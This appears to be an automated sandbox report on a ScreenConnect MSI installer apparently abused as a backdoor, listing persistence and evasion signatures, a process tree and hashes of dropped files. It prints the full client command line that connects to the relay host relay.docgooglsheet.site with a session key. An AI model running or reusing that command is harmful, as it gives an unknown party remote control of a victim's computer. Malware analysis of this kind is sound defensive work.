Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 17:06

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.7MB
  • Sample260720-vmvf7say2s
  • SHA256 4b0c70fbdeff23f16f6fb02597ee2277494d7a47349db69b54707fb5dee221fb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3912
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 251EC8D940F157D14CF5E22E53E6B96F C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240772203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4068
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1464
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DA335B316AFE718F8013F941B7E3490B
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2092
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B65D144A61511282EDDA18AF1EC0326F E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5388
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2016
    • C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.docgooglsheet.site&p=443&s=b9d4b441-9f56-4d42-918a-72e5110879fd&k=BgIAAACkAABSU0ExAAgAAAEAAQApdKCTFXKjCkeXmnz9GiIY5X45dDnchZONJI6wmu6vUHvDcMdAU4SU60%2b5eQuFRae7fn9FvxgA0RrmblL9eBDAS8Gr33wltKAvoFCLejqlVL0eGS2hSDOmJbYEyzTkJBEpDXrOkMJGGlX5nCe5mDUqthShlBGP0h%2fqN%2bJRuxE3v9F64Z8JOKFn%2b465xJjE6xtgctdQdhuNGraU%2fpCiVvmiY%2bGJO5w0TS1YioAtfNKJVAIujg1w6ppsJ5PEb1VytnRsRMzJzmwj2Tw89uyAh%2bOxykxlAkQTtADPNmdSFhf50ZKlbxEL7KT%2bLFqpUyNjwXV6P5tG%2fjsB3pXyJVlZvqS3"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5968
      • C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe" "RunRole" "33202923-5ca9-4ffa-a3b3-f5ca5f01da17" "User"
        2⤵
        • Executes dropped EXE
        PID:1992
      • C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe" "RunRole" "98fe3da8-2170-4eec-80fb-491aef443ca3" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4180

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5a4095.rbs

          • Path C:\Config.Msi\e5a4095.rbs
          • Size 214KB
          • SHA256 f0be1d96ff9aca5c3189095e870460b3205836e1ad08348b6b6666f5b76bc28e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\Client.Override.resources
          • Size 418B
          • SHA256 bcc77e5bc16ad90cce866e82a510bb5490441d77a92068881b0e63b018303b88
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 d37f58aae6085c89edd3420146eb86d5a108d27586cb4f24f9b580208c9b85f1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 c76f1f28c5289758b6bd01769c5ebfb519ee37d0fa8031a13bb37de83d849e5e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 512f9d035e6e88e231f082cc7f0ff661afa9acc221cf38f7ba3721fd996a05b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe
          • Size 587KB
          • SHA256 9cfd2c521d6d41c3a86b6b2c3d9b6a042b84f2f192f988f65062f0e1bfd99cab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\app.config
          • Size 1KB
          • SHA256 57fdff89226e5ffd04b64f73907ef459963297fca1ad399c1c3445242ccf4948
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (96bff6c48c9a0a7e)\system.config
          • Size 947B
          • SHA256 89cdabc0d762d96b340e18f58cca28ed223b9c25208603b93b1ddb03d38453e8
          • MD5 SHA1 SHA512 TLSH

          MSIE2F4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp
          • Size 1.0MB
          • SHA256 4bb0e9b5c70e3caeb955397a4a3b228c0ea5836729202b8d4ba1be531b60dafc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 4d4bf19ad99827f63dd74649d8f7244fc8e29330f4d80138c6b64660c8190a53
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 25c495fb28889e0c4d378309409e18c77f963337f790fedfbb13e5cc54a23243
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE2F4.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 abca7cf12937da14c9323c880ec490cc0e063d7a3eef2eac878cd25c84cf1660
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI472D.tmp

          • Path C:\Windows\Installer\MSI472D.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a4094.msi

          • Path C:\Windows\Installer\e5a4094.msi
          • Size 12.7MB
          • SHA256 4b0c70fbdeff23f16f6fb02597ee2277494d7a47349db69b54707fb5dee221fb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          5cc2cosa.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (96bff6c48c9a0a7e)\5cc2cosa.newcfg
          • Size 570B
          • SHA256 443ea638add50a8a2a41f73f5a9fea8bbfdf2c8067106eb4472b1cb8b1e9db36
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (96bff6c48c9a0a7e)\user.config
          • Size 570B
          • SHA256 4dc9785e9dd3fa7fe14a30ab762b1cb737f2701637040bbba593677f9396d0f4
          • MD5 SHA1 SHA512 TLSH

          ztwhjyqg.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (96bff6c48c9a0a7e)\ztwhjyqg.newcfg
          • Size 570B
          • SHA256 d5f1a8d54e53f613bad5ef92b3595600185056c7b06c3a3d2a9623422e6212ad
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 08a5ec47ef00aa09623963cda3484a840b7ad652e50f0cbe32e46410862181a4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e0cd9e40-5461-46af-83df-dd3d0e059e51}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e0cd9e40-5461-46af-83df-dd3d0e059e51}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3f4d3755ec46db41bc1bbac3d0a92a1ee9771e4250d9c6d14b729535668fea2d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1992-121-0x0000000000AB0000-0x0000000000AC8000-memory.dmp

          memory/1992-116-0x0000000000080000-0x0000000000116000-memory.dmp

          memory/1992-122-0x00000000023A0000-0x00000000023B8000-memory.dmp

          memory/1992-124-0x000000001B800000-0x000000001B8D2000-memory.dmp

          memory/1992-123-0x0000000002420000-0x0000000002461000-memory.dmp

          memory/1992-120-0x000000001B520000-0x000000001B6A8000-memory.dmp

          memory/1992-117-0x00000000023E0000-0x0000000002416000-memory.dmp

          memory/1992-118-0x000000001B130000-0x000000001B1BC000-memory.dmp

          memory/1992-119-0x000000001B370000-0x000000001B51A000-memory.dmp

          memory/4068-30-0x0000000005D40000-0x0000000005EEA000-memory.dmp

          memory/4068-22-0x0000000005A60000-0x0000000005A6A000-memory.dmp

          memory/4068-18-0x0000000005A30000-0x0000000005A5E000-memory.dmp

          memory/4068-26-0x0000000005B00000-0x0000000005B8C000-memory.dmp

          memory/4068-31-0x00000000064B0000-0x0000000006A6A000-memory.dmp

          memory/4180-158-0x000000001BF30000-0x000000001C002000-memory.dmp

          memory/4180-157-0x0000000002CD0000-0x0000000002D11000-memory.dmp

          memory/5968-95-0x0000000004890000-0x0000000004962000-memory.dmp

          memory/5968-93-0x00000000047C0000-0x0000000004801000-memory.dmp

          memory/5968-90-0x0000000004850000-0x0000000004886000-memory.dmp

          memory/5968-91-0x0000000004B10000-0x0000000004BA2000-memory.dmp

          memory/5968-86-0x0000000004800000-0x0000000004850000-memory.dmp

          memory/5968-75-0x0000000002130000-0x0000000002148000-memory.dmp